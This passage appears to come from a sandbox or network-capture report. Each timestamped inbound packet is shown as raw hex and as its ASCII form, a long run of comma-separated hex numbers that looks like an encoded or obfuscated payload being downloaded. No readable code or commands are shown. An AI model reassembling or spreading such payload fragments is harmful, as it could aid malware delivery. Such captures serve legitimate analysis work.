2023-04-20 23:04:31 UTC	8941	IN	Data Raw: 31 31 63 2c 37 62 2c 31 31 31 2c 61 62 2c 33 37 2c 31 31 63 2c 31 34 30 2c 31 36 62 2c 66 32 2c 64 37 2c 64 30 2c 62 66 2c 34 30 2c 39 35 2c 31 33 38 2c 31 34 32 2c 65 30 2c 31 33 38 2c 35 39 2c 35 33 2c 63 62 2c 61 31 2c 64 37 2c 31 33 30 2c 31 33 39 2c 65 34 2c 31 30 31 2c 65 38 2c 31 33 32 2c 39 31 2c 31 34 66 2c 39 63 2c 63 64 2c 35 64 2c 38 61 2c 63 65 2c 65 38 2c 36 32 2c 31 32 63 2c 31 34 63 2c 62 33 2c 35 35 2c 64 33 2c 61 31 2c 34 38 2c 63 32 2c 31 32 64 2c 38 63 2c 36 38 2c 31 30 39 2c 62 34 2c 36 63 2c 31 32 38 2c 65 35 2c 31 30 36 2c 31 30 63 2c 62 39 2c 39 38 2c 34 33 2c 66 35 2c 66 65 2c 36 62 2c 31 34 61 2c 65 37 2c 65 37 2c 37 38 2c 66 61 2c 65 31 2c 66 35 2c 31 33 39 2c 36 61 2c 61 63 2c 31 30 33 2c 39 65 2c 63 38 2c 38 39 2c 62 64 2c 61 Data Ascii: 11c,7b,111,ab,37,11c,140,16b,f2,d7,d0,bf,40,95,138,142,e0,138,59,53,cb,a1,d7,130,139,e4,101,e8,132,91,14f,9c,cd,5d,8a,ce,e8,62,12c,14c,b3,55,d3,a1,48,c2,12d,8c,68,109,b4,6c,128,e5,106,10c,b9,98,43,f5,fe,6b,14a,e7,e7,78,fa,e1,f5,139,6a,ac,103,9e,c8,89,bd,a
2023-04-20 23:04:31 UTC	8957	IN	Data Raw: 2c 66 31 2c 39 35 2c 35 61 2c 65 35 2c 34 32 2c 66 63 2c 66 33 2c 31 33 30 2c 31 34 63 2c 62 66 2c 62 36 2c 62 66 2c 66 33 2c 31 33 66 2c 39 36 2c 38 39 2c 39 36 2c 31 31 31 2c 31 34 32 2c 39 63 2c 65 39 2c 31 34 30 2c 31 30 35 2c 62 33 2c 66 61 2c 65 32 2c 64 65 2c 35 37 2c 37 63 2c 31 36 35 2c 65 66 2c 38 38 2c 31 32 64 2c 31 34 34 2c 63 65 2c 34 63 2c 65 63 2c 31 36 33 2c 35 64 2c 62 32 2c 31 33 62 2c 31 34 64 2c 66 64 2c 31 33 32 2c 34 66 2c 35 62 2c 35 66 2c 31 36 62 2c 31 35 36 2c 62 38 2c 31 35 33 2c 65 66 2c 65 32 2c 31 32 66 2c 65 31 2c 63 63 2c 31 33 31 2c 64 30 2c 31 33 37 2c 31 30 61 2c 31 30 36 2c 64 34 2c 31 30 65 2c 35 66 2c 36 65 2c 38 62 2c 31 33 35 2c 65 33 2c 64 62 2c 36 65 2c 37 37 2c 31 32 64 2c 31 33 33 2c 63 39 2c 37 39 2c 31 35 39 Data Ascii: ,f1,95,5a,e5,42,fc,f3,130,14c,bf,b6,bf,f3,13f,96,89,96,111,142,9c,e9,140,105,b3,fa,e2,de,57,7c,165,ef,88,12d,144,ce,4c,ec,163,5d,b2,13b,14d,fd,132,4f,5b,5f,16b,156,b8,153,ef,e2,12f,e1,cc,131,d0,137,10a,106,d4,10e,5f,6e,8b,135,e3,db,6e,77,12d,133,c9,79,159
2023-04-20 23:04:31 UTC	8973	IN	Data Raw: 64 2c 62 65 2c 36 37 2c 62 31 2c 31 30 35 2c 39 38 2c 31 30 66 2c 66 35 2c 63 63 2c 31 30 38 2c 31 32 37 2c 37 36 2c 31 33 66 2c 66 30 2c 31 32 31 2c 35 38 2c 39 32 2c 31 30 36 2c 62 62 2c 62 61 2c 31 31 33 2c 65 37 2c 66 64 2c 38 33 2c 62 38 2c 31 35 30 2c 34 39 2c 31 31 39 2c 64 61 2c 64 38 2c 66 65 2c 31 35 35 2c 31 31 38 2c 31 31 62 2c 36 30 2c 39 39 2c 31 30 37 2c 63 61 2c 62 31 2c 35 62 2c 63 36 2c 36 65 2c 65 38 2c 31 34 30 2c 31 32 61 2c 61 30 2c 63 64 2c 37 38 2c 66 65 2c 63 33 2c 39 64 2c 35 32 2c 61 36 2c 66 64 2c 31 32 33 2c 62 63 2c 34 61 2c 31 31 31 2c 66 63 2c 64 61 2c 31 31 35 2c 31 31 38 2c 65 31 2c 31 33 38 2c 64 65 2c 31 34 33 2c 31 33 65 2c 65 35 2c 31 33 33 2c 31 35 33 2c 64 35 2c 31 32 39 2c 38 66 2c 31 31 37 2c 31 30 39 2c 63 32 2c Data Ascii: d,be,67,b1,105,98,10f,f5,cc,108,127,76,13f,f0,121,58,92,106,bb,ba,113,e7,fd,83,b8,150,49,119,da,d8,fe,155,118,11b,60,99,107,ca,b1,5b,c6,6e,e8,140,12a,a0,cd,78,fe,c3,9d,52,a6,fd,123,bc,4a,111,fc,da,115,118,e1,138,de,143,13e,e5,133,153,d5,129,8f,117,109,c2,
2023-04-20 23:04:31 UTC	8989	IN	Data Raw: 2c 64 62 2c 39 32 2c 63 34 2c 65 32 2c 61 35 2c 64 32 2c 31 31 66 2c 63 62 2c 31 32 65 2c 31 31 64 2c 31 35 65 2c 62 62 2c 31 31 61 2c 62 35 2c 62 66 2c 35 34 2c 37 32 2c 31 30 32 2c 66 39 2c 31 35 65 2c 31 35 61 2c 38 37 2c 39 62 2c 61 36 2c 39 31 2c 65 34 2c 31 33 30 2c 64 63 2c 31 30 34 2c 31 30 63 2c 31 31 32 2c 39 66 2c 64 38 2c 31 30 34 2c 66 64 2c 31 30 35 2c 31 31 38 2c 31 31 39 2c 64 38 2c 61 32 2c 35 39 2c 31 30 31 2c 38 31 2c 31 30 31 2c 62 34 2c 31 33 65 2c 31 30 63 2c 31 31 34 2c 35 31 2c 31 31 66 2c 63 39 2c 31 36 32 2c 65 65 2c 31 33 30 2c 65 61 2c 36 61 2c 31 30 39 2c 36 61 2c 39 38 2c 38 30 2c 31 30 30 2c 64 34 2c 35 31 2c 66 32 2c 65 32 2c 31 31 32 2c 31 31 31 2c 31 35 65 2c 31 31 61 2c 62 31 2c 39 30 2c 36 36 2c 31 30 32 2c 66 36 2c 31 Data Ascii: ,db,92,c4,e2,a5,d2,11f,cb,12e,11d,15e,bb,11a,b5,bf,54,72,102,f9,15e,15a,87,9b,a6,91,e4,130,dc,104,10c,112,9f,d8,104,fd,105,118,119,d8,a2,59,101,81,101,b4,13e,10c,114,51,11f,c9,162,ee,130,ea,6a,109,6a,98,80,100,d4,51,f2,e2,112,111,15e,11a,b1,90,66,102,f6,1
2023-04-20 23:04:31 UTC	9005	IN	Data Raw: 37 2c 35 32 2c 38 36 2c 31 34 32 2c 37 33 2c 64 38 2c 65 32 2c 38 62 2c 64 36 2c 65 63 2c 36 32 2c 31 33 34 2c 34 31 2c 66 64 2c 65 65 2c 31 33 33 2c 37 64 2c 37 62 2c 39 39 2c 62 37 2c 64 65 2c 31 33 61 2c 64 66 2c 37 63 2c 62 62 2c 61 64 2c 31 31 31 2c 38 31 2c 31 30 35 2c 64 66 2c 64 64 2c 31 31 34 2c 65 33 2c 35 34 2c 31 30 37 2c 31 33 65 2c 63 66 2c 65 61 2c 62 31 2c 62 39 2c 38 66 2c 36 35 2c 31 31 62 2c 66 63 2c 64 61 2c 31 31 35 2c 39 61 2c 31 32 30 2c 65 30 2c 31 33 61 2c 64 31 2c 66 30 2c 38 63 2c 31 31 66 2c 31 35 34 2c 66 38 2c 61 38 2c 64 30 2c 35 39 2c 61 39 2c 36 63 2c 65 33 2c 31 35 65 2c 37 65 2c 31 33 37 2c 37 64 2c 63 36 2c 39 64 2c 62 30 2c 66 37 2c 36 30 2c 31 36 66 2c 31 35 31 2c 39 66 2c 31 31 36 2c 31 36 34 2c 65 30 2c 36 31 2c 35 Data Ascii: 7,52,86,142,73,d8,e2,8b,d6,ec,62,134,41,fd,ee,133,7d,7b,99,b7,de,13a,df,7c,bb,ad,111,81,105,df,dd,114,e3,54,107,13e,cf,ea,b1,b9,8f,65,11b,fc,da,115,9a,120,e0,13a,d1,f0,8c,11f,154,f8,a8,d0,59,a9,6c,e3,15e,7e,137,7d,c6,9d,b0,f7,60,16f,151,9f,116,164,e0,61,5
2023-04-20 23:04:31 UTC	9021	IN	Data Raw: 31 35 63 2c 65 65 2c 36 37 2c 31 32 30 2c 31 30 38 2c 37 36 2c 39 30 2c 31 31 61 2c 39 65 2c 62 65 2c 31 32 64 2c 31 34 63 2c 61 34 2c 39 65 2c 39 31 2c 38 38 2c 37 62 2c 65 62 2c 66 65 2c 31 35 64 2c 31 35 64 2c 31 35 62 2c 65 33 2c 66 38 2c 37 30 2c 31 32 33 2c 63 61 2c 35 33 2c 64 37 2c 31 34 66 2c 64 36 2c 63 66 2c 31 35 31 2c 64 64 2c 31 30 66 2c 66 33 2c 31 30 62 2c 63 65 2c 31 34 30 2c 31 32 37 2c 31 34 33 2c 31 31 65 2c 31 32 62 2c 31 35 32 2c 31 30 34 2c 31 31 30 2c 31 33 39 2c 65 66 2c 35 66 2c 31 31 35 2c 63 38 2c 31 30 61 2c 36 38 2c 39 33 2c 35 39 2c 31 36 32 2c 66 34 2c 31 31 38 2c 31 34 61 2c 31 31 38 2c 31 36 37 2c 63 30 2c 31 30 64 2c 36 32 2c 31 34 64 2c 65 31 2c 31 33 38 2c 64 38 2c 66 62 2c 31 31 32 2c 61 37 2c 31 30 63 2c 66 30 2c 36 Data Ascii: 15c,ee,67,120,108,76,90,11a,9e,be,12d,14c,a4,9e,91,88,7b,eb,fe,15d,15d,15b,e3,f8,70,123,ca,53,d7,14f,d6,cf,151,dd,10f,f3,10b,ce,140,127,143,11e,12b,152,104,110,139,ef,5f,115,c8,10a,68,93,59,162,f4,118,14a,118,167,c0,10d,62,14d,e1,138,d8,fb,112,a7,10c,f0,6
2023-04-20 23:04:31 UTC	9037	IN	Data Raw: 2c 39 39 2c 31 34 62 2c 31 30 39 2c 62 66 2c 31 30 39 2c 31 31 63 2c 65 62 2c 39 34 2c 36 36 2c 62 64 2c 63 66 2c 63 62 2c 66 66 2c 31 33 63 2c 31 32 34 2c 31 32 36 2c 31 32 34 2c 65 30 2c 63 36 2c 31 33 30 2c 64 31 2c 35 36 2c 62 62 2c 31 31 32 2c 35 39 2c 66 63 2c 37 30 2c 31 33 31 2c 37 66 2c 66 66 2c 64 37 2c 36 32 2c 62 62 2c 31 33 64 2c 63 64 2c 31 33 63 2c 36 36 2c 64 30 2c 31 34 39 2c 35 36 2c 61 38 2c 31 32 31 2c 31 31 36 2c 65 38 2c 63 34 2c 61 63 2c 31 33 62 2c 31 30 61 2c 62 62 2c 31 33 30 2c 64 30 2c 64 66 2c 66 64 2c 33 39 2c 66 66 2c 31 30 33 2c 66 39 2c 31 32 65 2c 39 66 2c 31 30 35 2c 37 63 2c 31 30 33 2c 64 64 2c 31 31 30 2c 31 32 36 2c 61 63 2c 31 33 65 2c 31 30 36 2c 39 37 2c 39 38 2c 62 61 2c 31 32 36 2c 61 63 2c 31 33 31 2c 63 36 2c Data Ascii: ,99,14b,109,bf,109,11c,eb,94,66,bd,cf,cb,ff,13c,124,126,124,e0,c6,130,d1,56,bb,112,59,fc,70,131,7f,ff,d7,62,bb,13d,cd,13c,66,d0,149,56,a8,121,116,e8,c4,ac,13b,10a,bb,130,d0,df,fd,39,ff,103,f9,12e,9f,105,7c,103,dd,110,126,ac,13e,106,97,98,ba,126,ac,131,c6,
2023-04-20 23:04:31 UTC	9053	IN	Data Raw: 35 2c 31 33 63 2c 62 39 2c 38 61 2c 63 36 2c 31 34 30 2c 64 61 2c 31 32 66 2c 31 34 35 2c 31 34 34 2c 63 31 2c 62 37 2c 63 34 2c 31 33 61 2c 64 39 2c 61 35 2c 64 62 2c 36 62 2c 31 31 64 2c 62 32 2c 31 32 39 2c 31 35 64 2c 34 31 2c 31 31 35 2c 38 38 2c 64 65 2c 31 32 63 2c 61 63 2c 62 63 2c 39 32 2c 31 30 65 2c 37 63 2c 66 37 2c 39 36 2c 66 62 2c 61 66 2c 34 38 2c 31 33 31 2c 39 66 2c 31 35 32 2c 31 33 39 2c 65 62 2c 65 33 2c 35 64 2c 37 63 2c 31 35 32 2c 31 31 35 2c 31 31 64 2c 31 35 37 2c 37 38 2c 64 38 2c 38 64 2c 61 64 2c 63 33 2c 66 38 2c 63 31 2c 65 38 2c 65 31 2c 63 64 2c 35 31 2c 63 30 2c 31 34 62 2c 61 64 2c 31 33 66 2c 31 33 31 2c 31 33 38 2c 66 63 2c 38 35 2c 31 33 33 2c 31 35 30 2c 65 33 2c 63 32 2c 63 36 2c 31 30 31 2c 65 37 2c 36 39 2c 31 30 Data Ascii: 5,13c,b9,8a,c6,140,da,12f,145,144,c1,b7,c4,13a,d9,a5,db,6b,11d,b2,129,15d,41,115,88,de,12c,ac,bc,92,10e,7c,f7,96,fb,af,48,131,9f,152,139,eb,e3,5d,7c,152,115,11d,157,78,d8,8d,ad,c3,f8,c1,e8,e1,cd,51,c0,14b,ad,13f,131,138,fc,85,133,150,e3,c2,c6,101,e7,69,10
2023-04-20 23:04:31 UTC	9069	IN	Data Raw: 61 2c 31 34 35 2c 61 63 2c 39 35 2c 34 37 2c 65 33 2c 31 33 38 2c 31 34 30 2c 65 37 2c 39 37 2c 33 66 2c 61 65 2c 31 33 37 2c 62 66 2c 31 35 66 2c 31 32 39 2c 37 34 2c 36 32 2c 62 34 2c 31 34 36 2c 64 33 2c 31 30 32 2c 31 32 34 2c 66 33 2c 66 33 2c 62 35 2c 31 30 36 2c 38 32 2c 33 36 2c 62 36 2c 31 31 63 2c 63 38 2c 31 34 38 2c 39 34 2c 31 32 35 2c 62 33 2c 63 32 2c 35 37 2c 31 32 62 2c 64 33 2c 31 31 32 2c 66 61 2c 31 32 38 2c 61 30 2c 66 64 2c 31 32 33 2c 66 64 2c 66 38 2c 64 32 2c 64 62 2c 63 34 2c 36 39 2c 38 39 2c 38 62 2c 31 32 64 2c 39 38 2c 31 31 34 2c 61 37 2c 31 33 34 2c 31 32 64 2c 61 35 2c 31 31 34 2c 31 33 39 2c 37 63 2c 39 64 2c 66 38 2c 38 37 2c 66 36 2c 62 31 2c 31 32 62 2c 65 32 2c 66 38 2c 31 33 33 2c 31 35 30 2c 36 39 2c 62 38 2c 61 33 Data Ascii: a,145,ac,95,47,e3,138,140,e7,97,3f,ae,137,bf,15f,129,74,62,b4,146,d3,102,124,f3,f3,b5,106,82,36,b6,11c,c8,148,94,125,b3,c2,57,12b,d3,112,fa,128,a0,fd,123,fd,f8,d2,db,c4,69,89,8b,12d,98,114,a7,134,12d,a5,114,139,7c,9d,f8,87,f6,b1,12b,e2,f8,133,150,69,b8,a3
2023-04-20 23:04:31 UTC	9085	IN	Data Raw: 31 33 64 2c 37 35 2c 66 35 2c 31 31 35 2c 66 61 2c 38 66 2c 37 62 2c 66 33 2c 35 65 2c 31 32 31 2c 36 61 2c 31 33 66 2c 64 39 2c 65 38 2c 66 31 2c 36 62 2c 31 33 38 2c 64 32 2c 66 64 2c 31 33 61 2c 37 66 2c 63 35 2c 37 34 2c 31 36 37 2c 31 33 63 2c 31 32 63 2c 65 30 2c 65 37 2c 38 66 2c 62 32 2c 61 34 2c 31 30 32 2c 37 35 2c 62 30 2c 66 66 2c 39 36 2c 36 35 2c 61 65 2c 63 38 2c 31 33 64 2c 64 61 2c 64 31 2c 37 35 2c 65 62 2c 31 33 61 2c 36 66 2c 31 32 36 2c 64 37 2c 31 30 30 2c 31 30 32 2c 63 37 2c 63 36 2c 63 34 2c 64 66 2c 38 37 2c 37 66 2c 38 32 2c 31 33 36 2c 66 64 2c 31 35 61 2c 64 38 2c 39 65 2c 31 30 62 2c 37 61 2c 31 33 39 2c 65 39 2c 34 62 2c 31 35 32 2c 31 31 66 2c 31 30 34 2c 61 61 2c 61 34 2c 31 32 31 2c 36 35 2c 33 35 2c 38 30 2c 63 38 2c 61 Data Ascii: 13d,75,f5,115,fa,8f,7b,f3,5e,121,6a,13f,d9,e8,f1,6b,138,d2,fd,13a,7f,c5,74,167,13c,12c,e0,e7,8f,b2,a4,102,75,b0,ff,96,65,ae,c8,13d,da,d1,75,eb,13a,6f,126,d7,100,102,c7,c6,c4,df,87,7f,82,136,fd,15a,d8,9e,10b,7a,139,e9,4b,152,11f,104,aa,a4,121,65,35,80,c8,a
2023-04-20 23:04:31 UTC	9101	IN	Data Raw: 30 61 2c 31 35 39 2c 64 33 2c 35 38 2c 31 32 62 2c 65 34 2c 66 36 2c 31 32 36 2c 63 31 2c 62 38 2c 36 39 2c 38 33 2c 35 65 2c 31 31 36 2c 39 39 2c 31 30 64 2c 31 30 33 2c 31 30 31 2c 31 33 32 2c 62 34 2c 31 36 38 2c 31 30 38 2c 31 34 32 2c 63 65 2c 63 65 2c 31 31 65 2c 31 33 37 2c 31 31 61 2c 31 33 39 2c 31 33 36 2c 31 36 30 2c 36 38 2c 64 61 2c 31 31 64 2c 31 30 32 2c 31 31 63 2c 31 34 64 2c 31 31 63 2c 62 30 2c 31 30 62 2c 36 36 2c 39 32 2c 31 32 65 2c 35 65 2c 64 34 2c 31 30 62 2c 31 32 38 2c 61 36 2c 64 37 2c 35 62 2c 38 62 2c 63 65 2c 63 31 2c 61 61 2c 63 34 2c 63 37 2c 62 33 2c 64 39 2c 31 32 65 2c 31 31 33 2c 65 61 2c 36 64 2c 65 35 2c 33 37 2c 62 65 2c 39 34 2c 35 66 2c 63 31 2c 31 34 38 2c 31 36 34 2c 31 31 39 2c 31 33 36 2c 65 30 2c 38 36 2c 31 Data Ascii: 0a,159,d3,58,12b,e4,f6,126,c1,b8,69,83,5e,116,99,10d,103,101,132,b4,168,108,142,ce,ce,11e,137,11a,139,136,160,68,da,11d,102,11c,14d,11c,b0,10b,66,92,12e,5e,d4,10b,128,a6,d7,5b,8b,ce,c1,aa,c4,c7,b3,d9,12e,113,ea,6d,e5,37,be,94,5f,c1,148,164,119,136,e0,86,1
2023-04-20 23:04:31 UTC	9117	IN	Data Raw: 2c 31 30 62 2c 38 30 2c 37 30 2c 31 33 37 2c 31 33 65 2c 31 31 35 2c 39 39 2c 31 30 61 2c 31 36 39 2c 31 35 39 2c 34 36 2c 62 64 2c 64 62 2c 31 36 63 2c 65 39 2c 34 37 2c 62 38 2c 37 66 2c 36 30 2c 39 34 2c 31 30 37 2c 31 32 61 2c 31 34 65 2c 31 32 65 2c 39 36 2c 38 62 2c 66 37 2c 38 63 2c 39 33 2c 31 30 35 2c 63 38 2c 34 65 2c 64 63 2c 65 66 2c 36 62 2c 35 39 2c 31 32 30 2c 31 32 64 2c 31 33 34 2c 65 38 2c 31 31 63 2c 31 33 39 2c 37 33 2c 66 32 2c 61 65 2c 66 62 2c 31 31 66 2c 64 30 2c 36 66 2c 66 31 2c 31 30 64 2c 65 33 2c 37 31 2c 31 34 38 2c 31 33 38 2c 36 63 2c 66 36 2c 31 33 38 2c 64 63 2c 31 30 64 2c 31 33 63 2c 36 64 2c 62 36 2c 62 63 2c 65 63 2c 31 32 66 2c 63 65 2c 31 30 66 2c 64 66 2c 31 30 36 2c 61 36 2c 66 31 2c 31 30 36 2c 31 35 37 2c 39 34 Data Ascii: ,10b,80,70,137,13e,115,99,10a,169,159,46,bd,db,16c,e9,47,b8,7f,60,94,107,12a,14e,12e,96,8b,f7,8c,93,105,c8,4e,dc,ef,6b,59,120,12d,134,e8,11c,139,73,f2,ae,fb,11f,d0,6f,f1,10d,e3,71,148,138,6c,f6,138,dc,10d,13c,6d,b6,bc,ec,12f,ce,10f,df,106,a6,f1,106,157,94
2023-04-20 23:04:31 UTC	9133	IN	Data Raw: 61 34 2c 66 35 2c 31 36 33 2c 31 35 30 2c 64 37 2c 66 66 2c 38 32 2c 31 32 30 2c 38 30 2c 66 38 2c 62 62 2c 31 33 35 2c 65 38 2c 31 32 62 2c 31 32 66 2c 31 30 35 2c 39 32 2c 31 31 30 2c 36 64 2c 66 36 2c 31 32 32 2c 66 66 2c 61 34 2c 61 38 2c 37 65 2c 39 61 2c 31 30 66 2c 31 34 32 2c 63 32 2c 39 38 2c 31 33 34 2c 31 30 39 2c 62 64 2c 63 34 2c 61 64 2c 31 31 62 2c 64 36 2c 35 30 2c 31 33 37 2c 31 31 66 2c 31 32 31 2c 66 34 2c 63 32 2c 65 65 2c 31 31 65 2c 38 37 2c 65 65 2c 36 61 2c 31 37 35 2c 31 31 37 2c 31 33 38 2c 61 63 2c 31 30 39 2c 39 61 2c 65 64 2c 37 64 2c 31 34 33 2c 31 32 30 2c 62 66 2c 64 36 2c 31 31 63 2c 31 30 39 2c 31 32 61 2c 39 33 2c 35 38 2c 66 38 2c 64 34 2c 31 35 34 2c 35 31 2c 61 34 2c 65 63 2c 31 31 33 2c 35 62 2c 63 35 2c 31 35 66 2c Data Ascii: a4,f5,163,150,d7,ff,82,120,80,f8,bb,135,e8,12b,12f,105,92,110,6d,f6,122,ff,a4,a8,7e,9a,10f,142,c2,98,134,109,bd,c4,ad,11b,d6,50,137,11f,121,f4,c2,ee,11e,87,ee,6a,175,117,138,ac,109,9a,ed,7d,143,120,bf,d6,11c,109,12a,93,58,f8,d4,154,51,a4,ec,113,5b,c5,15f,
2023-04-20 23:04:31 UTC	9149	IN	Data Raw: 2c 31 32 39 2c 31 30 39 2c 31 31 36 2c 37 65 2c 39 39 2c 31 33 64 2c 39 65 2c 39 66 2c 66 62 2c 62 34 2c 31 34 33 2c 31 30 65 2c 38 63 2c 36 65 2c 31 33 34 2c 66 30 2c 31 36 39 2c 37 36 2c 35 65 2c 66 63 2c 31 31 30 2c 31 34 63 2c 66 37 2c 31 31 62 2c 35 65 2c 31 31 33 2c 64 32 2c 31 37 36 2c 65 35 2c 31 32 36 2c 31 30 36 2c 37 63 2c 35 36 2c 61 35 2c 35 39 2c 61 65 2c 38 65 2c 31 34 33 2c 39 62 2c 66 66 2c 31 34 35 2c 66 63 2c 37 31 2c 39 38 2c 31 36 30 2c 62 31 2c 35 39 2c 31 30 32 2c 31 32 32 2c 65 32 2c 36 62 2c 38 62 2c 64 61 2c 38 39 2c 31 31 61 2c 62 64 2c 35 36 2c 37 30 2c 61 33 2c 61 61 2c 31 30 64 2c 39 62 2c 35 30 2c 33 65 2c 36 66 2c 65 31 2c 66 66 2c 31 34 34 2c 31 30 37 2c 31 35 37 2c 33 66 2c 31 35 66 2c 36 64 2c 66 34 2c 39 33 2c 31 33 33 Data Ascii: ,129,109,116,7e,99,13d,9e,9f,fb,b4,143,10e,8c,6e,134,f0,169,76,5e,fc,110,14c,f7,11b,5e,113,d2,176,e5,126,106,7c,56,a5,59,ae,8e,143,9b,ff,145,fc,71,98,160,b1,59,102,122,e2,6b,8b,da,89,11a,bd,56,70,a3,aa,10d,9b,50,3e,6f,e1,ff,144,107,157,3f,15f,6d,f4,93,133
2023-04-20 23:04:31 UTC	9165	IN	Data Raw: 65 2c 37 63 2c 31 34 31 2c 31 30 30 2c 64 35 2c 31 37 38 2c 31 34 66 2c 31 30 30 2c 36 38 2c 61 32 2c 31 35 38 2c 65 30 2c 31 34 30 2c 38 39 2c 31 34 37 2c 31 30 30 2c 31 31 33 2c 62 39 2c 64 34 2c 63 31 2c 66 38 2c 31 32 30 2c 36 36 2c 38 35 2c 37 62 2c 64 37 2c 31 33 66 2c 36 66 2c 37 38 2c 31 31 39 2c 63 39 2c 31 30 33 2c 35 36 2c 38 39 2c 62 37 2c 31 30 36 2c 62 38 2c 31 34 31 2c 31 35 64 2c 66 39 2c 31 30 61 2c 39 39 2c 31 35 37 2c 34 35 2c 35 61 2c 62 37 2c 31 35 65 2c 38 37 2c 36 65 2c 31 32 37 2c 65 30 2c 33 65 2c 38 30 2c 31 33 32 2c 31 35 62 2c 37 62 2c 36 63 2c 31 30 38 2c 63 38 2c 63 35 2c 31 33 66 2c 31 32 38 2c 31 30 38 2c 65 33 2c 65 64 2c 31 30 66 2c 31 31 31 2c 39 37 2c 31 32 31 2c 66 31 2c 37 31 2c 37 39 2c 63 38 2c 39 37 2c 31 34 62 2c Data Ascii: e,7c,141,100,d5,178,14f,100,68,a2,158,e0,140,89,147,100,113,b9,d4,c1,f8,120,66,85,7b,d7,13f,6f,78,119,c9,103,56,89,b7,106,b8,141,15d,f9,10a,99,157,45,5a,b7,15e,87,6e,127,e0,3e,80,132,15b,7b,6c,108,c8,c5,13f,128,108,e3,ed,10f,111,97,121,f1,71,79,c8,97,14b,
2023-04-20 23:04:31 UTC	9181	IN	Data Raw: 63 2c 34 31 2c 64 31 2c 31 31 66 2c 38 66 2c 65 63 2c 31 32 37 2c 64 62 2c 65 61 2c 37 63 2c 65 31 2c 66 34 2c 36 34 2c 31 32 30 2c 39 63 2c 31 32 66 2c 38 31 2c 31 33 36 2c 31 32 33 2c 65 66 2c 35 64 2c 37 31 2c 62 36 2c 31 32 65 2c 38 35 2c 37 63 2c 64 39 2c 62 32 2c 31 33 63 2c 38 35 2c 65 64 2c 31 30 31 2c 38 35 2c 61 64 2c 31 30 39 2c 31 30 39 2c 37 64 2c 66 31 2c 38 31 2c 66 66 2c 62 63 2c 62 38 2c 39 36 2c 66 37 2c 61 65 2c 31 33 39 2c 38 39 2c 31 33 33 2c 65 31 2c 31 35 32 2c 31 34 64 2c 63 63 2c 36 62 2c 64 38 2c 31 32 35 2c 38 32 2c 38 63 2c 31 30 36 2c 31 36 61 2c 63 35 2c 38 64 2c 65 39 2c 63 33 2c 66 32 2c 62 62 2c 31 31 32 2c 31 34 63 2c 62 37 2c 31 37 35 2c 31 30 38 2c 62 62 2c 31 31 34 2c 63 30 2c 36 36 2c 65 31 2c 31 30 38 2c 39 61 2c 65 Data Ascii: c,41,d1,11f,8f,ec,127,db,ea,7c,e1,f4,64,120,9c,12f,81,136,123,ef,5d,71,b6,12e,85,7c,d9,b2,13c,85,ed,101,85,ad,109,109,7d,f1,81,ff,bc,b8,96,f7,ae,139,89,133,e1,152,14d,cc,6b,d8,125,82,8c,106,16a,c5,8d,e9,c3,f2,bb,112,14c,b7,175,108,bb,114,c0,66,e1,108,9a,e
2023-04-20 23:04:31 UTC	9197	IN	Data Raw: 63 64 2c 66 35 2c 62 64 2c 39 33 2c 37 63 2c 65 63 2c 63 36 2c 39 31 2c 31 34 38 2c 31 33 63 2c 65 63 2c 63 61 2c 31 31 37 2c 31 31 66 2c 31 33 61 2c 39 36 2c 31 32 64 2c 37 35 2c 31 31 35 2c 31 32 61 2c 31 31 37 2c 37 31 2c 31 30 39 2c 64 37 2c 31 33 34 2c 65 39 2c 38 63 2c 65 38 2c 63 38 2c 62 62 2c 62 32 2c 38 31 2c 63 32 2c 34 34 2c 31 32 38 2c 37 30 2c 61 66 2c 65 61 2c 37 64 2c 62 65 2c 31 32 35 2c 31 32 35 2c 64 63 2c 66 64 2c 31 31 65 2c 35 62 2c 31 31 32 2c 32 64 2c 62 36 2c 31 32 61 2c 36 63 2c 39 32 2c 31 34 65 2c 66 32 2c 39 62 2c 64 62 2c 39 37 2c 61 34 2c 31 34 34 2c 31 33 64 2c 65 30 2c 35 66 2c 31 31 36 2c 31 30 30 2c 37 33 2c 65 36 2c 37 34 2c 37 36 2c 31 34 66 2c 36 61 2c 31 31 36 2c 37 32 2c 38 30 2c 66 39 2c 63 30 2c 66 62 2c 36 33 2c Data Ascii: cd,f5,bd,93,7c,ec,c6,91,148,13c,ec,ca,117,11f,13a,96,12d,75,115,12a,117,71,109,d7,134,e9,8c,e8,c8,bb,b2,81,c2,44,128,70,af,ea,7d,be,125,125,dc,fd,11e,5b,112,2d,b6,12a,6c,92,14e,f2,9b,db,97,a4,144,13d,e0,5f,116,100,73,e6,74,76,14f,6a,116,72,80,f9,c0,fb,63,
2023-04-20 23:04:31 UTC	9213	IN	Data Raw: 31 37 35 2c 31 30 30 2c 64 33 2c 31 31 64 2c 33 64 2c 31 33 33 2c 31 31 34 2c 39 31 2c 37 62 2c 63 66 2c 31 31 62 2c 34 34 2c 31 34 37 2c 64 32 2c 37 30 2c 31 33 65 2c 31 32 35 2c 31 36 63 2c 65 34 2c 31 32 31 2c 61 37 2c 65 61 2c 66 65 2c 39 61 2c 31 31 37 2c 36 32 2c 31 35 36 2c 31 35 37 2c 31 30 33 2c 65 63 2c 31 34 30 2c 62 38 2c 62 39 2c 63 31 2c 38 36 2c 31 31 36 2c 31 31 39 2c 36 66 2c 35 64 2c 35 63 2c 31 34 64 2c 31 30 32 2c 64 65 2c 38 32 2c 31 34 39 2c 39 30 2c 65 61 2c 31 30 36 2c 31 32 38 2c 31 31 33 2c 31 32 61 2c 62 61 2c 34 62 2c 61 38 2c 63 32 2c 31 34 35 2c 31 32 66 2c 38 38 2c 62 61 2c 38 36 2c 31 31 34 2c 31 34 38 2c 37 34 2c 39 38 2c 31 31 30 2c 35 63 2c 66 34 2c 65 62 2c 36 66 2c 31 35 33 2c 31 31 31 2c 65 61 2c 66 65 2c 31 32 65 2c Data Ascii: 175,100,d3,11d,3d,133,114,91,7b,cf,11b,44,147,d2,70,13e,125,16c,e4,121,a7,ea,fe,9a,117,62,156,157,103,ec,140,b8,b9,c1,86,116,119,6f,5d,5c,14d,102,de,82,149,90,ea,106,128,113,12a,ba,4b,a8,c2,145,12f,88,ba,86,114,148,74,98,110,5c,f4,eb,6f,153,111,ea,fe,12e,
